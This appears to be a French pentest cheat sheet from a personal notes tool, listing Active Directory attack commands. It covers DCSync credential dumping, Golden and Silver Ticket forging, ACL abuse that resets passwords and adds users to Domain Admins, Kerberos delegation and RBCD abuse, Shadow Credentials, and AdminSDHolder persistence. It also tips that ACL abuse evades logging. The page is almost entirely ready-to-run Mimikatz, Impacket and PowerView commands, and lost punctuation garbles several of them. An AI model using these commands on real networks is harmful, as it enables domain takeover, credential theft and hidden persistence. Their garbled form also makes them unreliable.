active-directorykerberosgolden-ticket
MDstable
Attaques Active Directory avancées
DCSync, Golden/Silver Ticket, ACL abuse, délégation Kerberos, RBCD
snippetadvanced 2025-05-13 4 min read
active-directorykerberosgolden-ticketsilver-ticketdcsyncACLdelegationpentest
DCSync
bash
Variables
{{TARGET_DOMAIN}}
{{USER}}
{{PASSWORD}}
{{TARGET_IP}}
# Prérequis : droits DS-Replication-Get-Changes + DS-Replication-Get-Changes-All# (Domain Admins, Enterprise Admins, SYSTEM sur DC)# Mimikatzlsadumpdcsync /domain{{TARGET_DOMAIN}} /all /csvlsadumpdcsync /domain{{TARGET_DOMAIN}} /userkrbtgtlsadumpdcsync /domain{{TARGET_DOMAIN}} /userAdministrator# Impacket depuis Linuxsecretsdumppy {{TARGET_DOMAIN}}{{USER}}{{PASSWORD}}{{TARGET_IP}} -just-dcsecretsdumppy {{TARGET_DOMAIN}}{{USER}}{{PASSWORD}}{{TARGET_IP}} -just-dc-user krbtgt
Golden Ticket
bash
Variables
{{TARGET_DOMAIN}}
{{KRBTGT_HASH}}
{{TARGET}}
# Prérequis : hash NTLM de krbtgt + SID du domaine# Récupérer le hash krbtgtlsadumpdcsync /domain{{TARGET_DOMAIN}} /userkrbtgt# → Hash NTLM : aabbccdd...# Récupérer le SID du domaineGet-DomainSID # PowerViewwhoami /user # depuis une machine du domaine# Créer le Golden Ticket (durée 10 ans par défaut)kerberosgolden /userAdministrator /domain{{TARGET_DOMAIN}}/sidS-1-5-21-XXXXXXXXXX /krbtgt{{KRBTGT_HASH}}/id500 /groups512 /ptt# Depuis Linux — ticketer.pyticketerpy -nthash {{KRBTGT_HASH}} -domain-sid S-1-5-21-XXXXXXXXXX-domain {{TARGET_DOMAIN}} Administratorexport KRB5CCNAMEAdministratorccachepsexecpy -k -no-pass {{TARGET_DOMAIN}}/Administrator{{TARGET}}
Silver Ticket
bash
Variables
{{TARGET_DOMAIN}}
{{USER}}
{{PASSWORD}}
{{TARGET_IP}}
{{TARGET}}
{{MACHINE_HASH}}
# Prérequis : hash NTLM du compte machine (ou compte de service)# Accès au service cible sans contacter le DC# Dump hash machinesecretsdumppy {{TARGET_DOMAIN}}{{USER}}{{PASSWORD}}{{TARGET_IP}} | grep "machine"# oulsadumpdcsync /domain{{TARGET_DOMAIN}} /user{{TARGET}}# Silver Ticket pour CIFS (accès aux partages)kerberosgolden /userAdministrator /domain{{TARGET_DOMAIN}}/sidS-1-5-21-XXXXXXXXXX /target{{TARGET}}{{TARGET_DOMAIN}}/servicecifs /rc4{{MACHINE_HASH}} /ptt# Silver Ticket pour HTTP (IIS)kerberosgolden /userAdministrator /domain{{TARGET_DOMAIN}}/sidS-1-5-21-XXXXXXXXXX /target{{TARGET}}{{TARGET_DOMAIN}}/servicehttp /rc4{{MACHINE_HASH}} /ptt# Services : cifs, http, ldap, mssql, host, rpcss, wsman
ACL Abuse
ForceChangePassword
powershell
Variables
{{USER}}
{{TARGET_DOMAIN}}
{{PASSWORD}}
{{TARGET_IP}}
# Changer le mot de passe sans connaître l'ancien$pass = ConvertTo-SecureString "NewP@ss123!" -AsPlainText -ForceSet-DomainUserPassword -Identity {{USER}} -AccountPassword $pass# Impacketchangepasswd.py {{TARGET_DOMAIN}}/{{USER}}:{{PASSWORD}}@{{TARGET_IP}} -newpass "NewP@ss123!" -altuser victim
GenericAll / GenericWrite
powershell
Variables
{{TARGET}}
{{USER}}
# GenericAll sur un utilisateur → reset password, ajouter SPN, etc.Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString "Pwned123!" -AsPlainText -Force)# GenericWrite → ajouter SPN (puis Kerberoast)Set-DomainObject -Identity victim -Set @{servicePrincipalName='fake/{{TARGET}}'}Get-DomainSPNTicket -SPN "fake/{{TARGET}}" -Format Hashcat# GenericAll sur un groupe → ajouter membreAdd-DomainGroupMember -Identity "Domain Admins" -Members {{USER}}# GenericWrite sur GPO → modification GPO# (Utiliser SharpGPOAbuse ou pyGPOAbuse)SharpGPOAbuse.exe --AddLocalAdmin --UserAccount {{USER}} --GPOName "Default Domain Policy"
WriteDACL
powershell
Variables
{{USER}}
{{TARGET_DOMAIN}}
# Ajouter des droits DCSync sur le domaine$secprincipal = New-Object System.Security.Principal.SecurityIdentifier (Get-DomainUser {{USER}}).objectsidAdd-DomainObjectAcl -TargetIdentity {{TARGET_DOMAIN}} -PrincipalIdentity {{USER}} -Rights DCSync
WriteOwner → prendre possession
powershell
Variables
{{USER}}
Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity {{USER}}Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity {{USER}} -Rights AllAdd-DomainGroupMember -Identity "Domain Admins" -Members {{USER}}
Délégation Kerberos — Unconstrained
bash
Variables
{{DC_IP}}
{{TARGET_IP}}
# Trouver les machines avec délégation non contrainteGet-DomainComputer -Unconstrained | select name dnshostname# Piège : forcer un DA à s'authentifier via PrinterBug ou autres# PrinterBug (SpoolSample)SpoolSampleexe {{DC_IP}} {{TARGET_IP}} # sur la machine avec délégation non contrainte# Attendre et récupérer le ticket avec RubeusRubeusexe monitor /interval5 /nowrap# ou via Mimikatzsekurlsatickets /export# Utiliser le ticket du DC → DCSync possible
Délégation Kerberos — RBCD (Resource-Based Constrained Delegation)
bash
Variables
{{TARGET_DOMAIN}}
{{USER}}
{{PASSWORD}}
{{TARGET}}
{{TARGET_IP}}
# Prérequis : droits GenericWrite ou WriteMSDS sur l'objet cible# Aussi possible si on peut créer des comptes machines (MachineAccountQuota)# Créer un compte machineaddcomputerpy {{TARGET_DOMAIN}}{{USER}}{{PASSWORD}} -method LDAPS-computer-name ATTACK -computer-pass "P@ssword123"# Configurer RBCD : autoriser ATTACK$ à déléguer vers TARGETrbcdpy -f ATTACK -t {{TARGET}} -dc-ip {{TARGET_IP}} {{TARGET_DOMAIN}}{{USER}}{{PASSWORD}}# Obtenir un ticket de service en tant qu'AdministratorgetSTpy -spn cifs{{TARGET}}{{TARGET_DOMAIN}}-impersonate Administrator-dc-ip {{TARGET_IP}}{{TARGET_DOMAIN}}/ATTACKPssword123export KRB5CCNAMEAdministratorcifs_{{TARGET}}ccachesecretsdumppy -k -no-pass {{TARGET_DOMAIN}}/Administrator{{TARGET}}{{TARGET_DOMAIN}}
Shadow Credentials
bash
Variables
{{TARGET_DOMAIN}}
{{USER}}
{{PASSWORD}}
{{SESSION_KEY}}
# Prérequis : GenericWrite sur le compte cible# Ajouter une clé msDS-KeyCredentialLinkpywhiskerpy -d {{TARGET_DOMAIN}} -u {{USER}} -p {{PASSWORD}} --target victim --action add# Récupérer le TGT avec la clé généréegettgtpkinitpy -cert-pfx victimpfx -pfx-pass password {{TARGET_DOMAIN}}/victim victimccache# Extraire le hash NTLMgetnthashpy -key {{SESSION_KEY}} {{TARGET_DOMAIN}}/victim
Persistence — AdminSDHolder
bash
Variables
{{USER}}
# Modifier AdminSDHolder → backdoor persistant sur tous les objets protégés# AdminSDHolder est copié sur tous les comptes privilégiés toutes les 60 min (SDProp)Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=lan"-PrincipalIdentity {{USER}} -Rights All -Verbose# Après 60 min (ou forcer SDProp)$taskEA Get-ScheduledTask -TaskName "SDProp" -ErrorAction SilentlyContinueInvoke-DomainObjectPropertyChange -Identity "CN=AdminSDHolder,CN=System,DC=corp,DC=lan"
💡 Tip —
L'abus d'ACL (GenericAll, WriteDACL, ForceChangePassword) est souvent plus discret que les attaques Kerberos car il génère moins d'événements. Toujours vérifier avec BloodHound les chemins via "Outbound Object Control" depuis le compte compromis avant de tenter un mouvement.
OPS·BRAIN v1.075 notes · Securitylocal